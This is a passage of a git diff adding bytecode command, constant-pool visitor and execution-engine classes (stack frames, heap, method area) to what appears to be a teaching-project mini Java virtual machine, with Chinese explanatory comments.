+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString() {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
+		
+	}
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/OneOperandCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..850d3e8d0b
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/PutFieldCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..ddd6007d46
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,44 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.constant.NameAndTypeInfo;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {	
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
+		
+	}
+
+
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/TwoOperandCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..03771eabae
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ClassInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ClassInfo.java
index b842755586..84b00f189d 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ClassInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ClassInfo.java
@@ -2,27 +2,27 @@
 
 public class ClassInfo extends ConstantInfo {
     private int type = ConstantInfo.CLASS_INFO;
-    private int utf8Index;
-
+    private int utf8Index ;
     public ClassInfo(ConstantPool pool) {
         super(pool);
     }
-
     public int getUtf8Index() {
         return utf8Index;
     }
-
     public void setUtf8Index(int utf8Index) {
         this.utf8Index = utf8Index;
     }
-
     public int getType() {
         return type;
     }
 
     public String getClassName() {
         int index = getUtf8Index();
-        UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
         return utf8Info.getValue();
     }
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitClassInfo(this);
+    }
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantInfo.java
index 464e44a79d..cc5fa84388 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantInfo.java
@@ -28,4 +28,16 @@ public ConstantInfo getConstantInfo(int index) {
         return this.constantPool.getConstantInfo(index);
     }
 
+    public abstract void accept(Visitor visitor);
+
+    public static interface Visitor{
+        public void visitClassInfo(ClassInfo info);
+        public void visitFieldRef(FieldRefInfo info);
+        public void visitMethodRef(MethodRefInfo info);
+        public void visitNameAndType(NameAndTypeInfo info);
+        public void visitString(StringInfo info);
+        public void visistUTF8(UTF8Info info);
+
+    }
+
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantPool.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantPool.java
index c2da2637c5..f612dd6289 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantPool.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/ConstantPool.java
@@ -26,7 +26,7 @@ public String getUTF8String(int index) {
         return ((UTF8Info) this.constantInfos.get(index)).getValue();
     }
 
-    public Object getSize() {
-        return this.constantInfos.size() - 1;
+    public int getSize() {
+        return this.constantInfos.size() -1;
     }
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/FieldRefInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/FieldRefInfo.java
index 2aaced31d3..80e7a4054d 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/FieldRefInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/FieldRefInfo.java
@@ -8,7 +8,6 @@ public class FieldRefInfo extends ConstantInfo {
     public FieldRefInfo(ConstantPool pool) {
         super(pool);
     }
-
     public int getType() {
         return type;
     }
@@ -16,43 +15,44 @@ public int getType() {
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
-
     public void setClassInfoIndex(int classInfoIndex) {
         this.classInfoIndex = classInfoIndex;
     }
-
     public int getNameAndTypeIndex() {
         return nameAndTypeIndex;
     }
-
     public void setNameAndTypeIndex(int nameAndTypeIndex) {
         this.nameAndTypeIndex = nameAndTypeIndex;
     }
 
-    public String toString() {
+    public String toString(){
 
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 
-        return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+        return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
     }
 
-    public String getClassName() {
+    public String getClassName(){
 
         ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
 
-        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+        UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
 
         return utf8Info.getValue();
 
     }
 
-    public String getFieldName() {
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+    public String getFieldName(){
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
         return typeInfo.getName();
     }
 
-    public String getFieldType() {
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+    public String getFieldType(){
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
         return typeInfo.getTypeInfo();
     }
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitFieldRef(this);
+    }
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/MethodRefInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/MethodRefInfo.java
index a3e6f969b0..00df28d40d 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/MethodRefInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/MethodRefInfo.java
@@ -2,6 +2,7 @@
 
 public class MethodRefInfo extends ConstantInfo {
 
+
     private int type = ConstantInfo.METHOD_INFO;
 
     private int classInfoIndex;
@@ -18,41 +19,44 @@ public int getType() {
     public int getClassInfoIndex() {
         return classInfoIndex;
     }
-
     public void setClassInfoIndex(int classInfoIndex) {
         this.classInfoIndex = classInfoIndex;
     }
-
     public int getNameAndTypeIndex() {
         return nameAndTypeIndex;
     }
-
     public void setNameAndTypeIndex(int nameAndTypeIndex) {
         this.nameAndTypeIndex = nameAndTypeIndex;
     }
 
-    public String toString() {
+    public String toString(){
 
-        return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+        return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
     }
-
-    public String getClassName() {
+    public String getClassName(){
         ConstantPool pool = this.getConstantPool();
-        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
         return clzInfo.getClassName();
     }
 
-    public String getMethodName() {
+    public String getMethodName(){
         ConstantPool pool = this.getConstantPool();
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
         return typeInfo.getName();
     }
 
-    public String getParamAndReturnType() {
+    public String getParamAndReturnType(){
         ConstantPool pool = this.getConstantPool();
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
         return typeInfo.getTypeInfo();
     }
 
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitMethodRef(this);
+    }
+
+
+
 
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NameAndTypeInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NameAndTypeInfo.java
index 30be83ef3a..d530f9f0c5 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NameAndTypeInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NameAndTypeInfo.java
@@ -1,7 +1,7 @@
 package com.pan.jvm.constant;
 
 public class NameAndTypeInfo extends ConstantInfo {
-    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+    public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
 
     private int index1;
     private int index2;
@@ -13,37 +13,39 @@ public NameAndTypeInfo(ConstantPool pool) {
     public int getIndex1() {
         return index1;
     }
-
     public void setIndex1(int index1) {
         this.index1 = index1;
     }
-
     public int getIndex2() {
         return index2;
     }
-
     public void setIndex2(int index2) {
         this.index2 = index2;
     }
-
     public int getType() {
         return type;
     }
 
 
-    public String getName() {
+    public String getName(){
         ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+        UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
         return utf8Info1.getValue();
     }
 
-    public String getTypeInfo() {
+    public String getTypeInfo(){
         ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+        UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
         return utf8Info2.getValue();
     }
 
-    public String toString() {
-        return "(" + getName() + "," + getTypeInfo() + ")";
+    public String toString(){
+        return "(" + getName() + "," + getTypeInfo()+")";
+    }
+
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitNameAndType(this);
+
     }
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NullConstantInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NullConstantInfo.java
index cc6989bef7..d9d0c40b01 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NullConstantInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/NullConstantInfo.java
@@ -2,13 +2,16 @@
 
 public class NullConstantInfo extends ConstantInfo {
 
-    public NullConstantInfo() {
+    public NullConstantInfo(){
 
     }
-
     @Override
     public int getType() {
         return -1;
     }
+    @Override
+    public void accept(Visitor visitor) {
+
+    }
 
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/StringInfo.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/StringInfo.java
index ad3f397949..d807321152 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/StringInfo.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/StringInfo.java
@@ -3,7 +3,6 @@
 public class StringInfo extends ConstantInfo {
     private int type = ConstantInfo.STRING_INFO;
     private int index;
-
     public StringInfo(ConstantPool pool) {
         super(pool);
     }
@@ -15,14 +14,18 @@ public int getType() {
     public int getIndex() {
         return index;
     }
-
     public void setIndex(int index) {
         this.index = index;
     }
 
 
-    public String toString() {
+    public String toString(){
         return this.getConstantPool().getUTF8String(index);
     }
 
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visitString(this);
+
+    }
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/UTF8Info.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/UTF8Info.java
index 502adae968..d867b436e6 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/UTF8Info.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/constant/UTF8Info.java
@@ -2,37 +2,35 @@
 
 public class UTF8Info extends ConstantInfo {
     private int type = ConstantInfo.UTF8_INFO;
-    private int length;
+    private int length ;
     private String value;
-
     public UTF8Info(ConstantPool pool) {
         super(pool);
     }
-
     public int getLength() {
         return length;
     }
-
     public void setLength(int length) {
         this.length = length;
     }
-
     public int getType() {
         return type;
     }
-
     @Override
     public String toString() {
-        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
     }
-
     public String getValue() {
         return value;
     }
-
     public void setValue(String value) {
         this.value = value;
     }
+    @Override
+    public void accept(Visitor visitor) {
+        visitor.visistUTF8(this);
+
+    }
 
 
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutionResult.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..f33eaef159
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.pan.jvm.engine;
+
+import com.pan.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutorEngine.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..fdf4c48647
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,83 @@
+package com.pan.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.pan.jvm.attr.CodeAttr;
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.cmd.ByteCodeCommand;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+		
+		while(!stack.empty()){
+			
+			StackFrame frame = stack.peek();			
+			
+			ExecutionResult result = frame.execute();
+			
+			if(result.isPauseAndRunNewFrame()){
+				
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);				
+				setupFunctionCallParams(frame,nextFrame);
+				
+				stack.push(nextFrame);
+				
+			} else {
+				
+				stack.pop();
+				
+			}
+		}
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		Method nextMethod = nextFrame.getMethod();
+		
+		
+		List<String> paramList = nextMethod.getParameterList();
+		
+		//加上1 是因为要把this也传递过去
+		
+		int paramNum = paramList.size() + 1;
+		
+		
+		List<JavaObject> values = new ArrayList<JavaObject>();
+		
+		//数据结构知识：  从栈中取出栈顶的x个元素
+		while(paramNum>0){			
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}
+		
+		
+		nextFrame.setLocalVariableTable(params);
+		
+	}
+	
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/Heap.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/Heap.java
new file mode 100644
index 0000000000..82ba9d52f5
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.pan.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/JavaObject.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..cbe790796b
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.pan.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MethodArea.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..774968a48a
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MethodArea.java
@@ -0,0 +1,88 @@
+package com.pan.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.loader.ClassFileLoader;
+import com.pan.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		ClassFile clz = this.findClassFile(className);
+		
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		
+		return m;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
+			
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MiniJVM.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..84e6403e5d
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/engine/MiniJVM.java
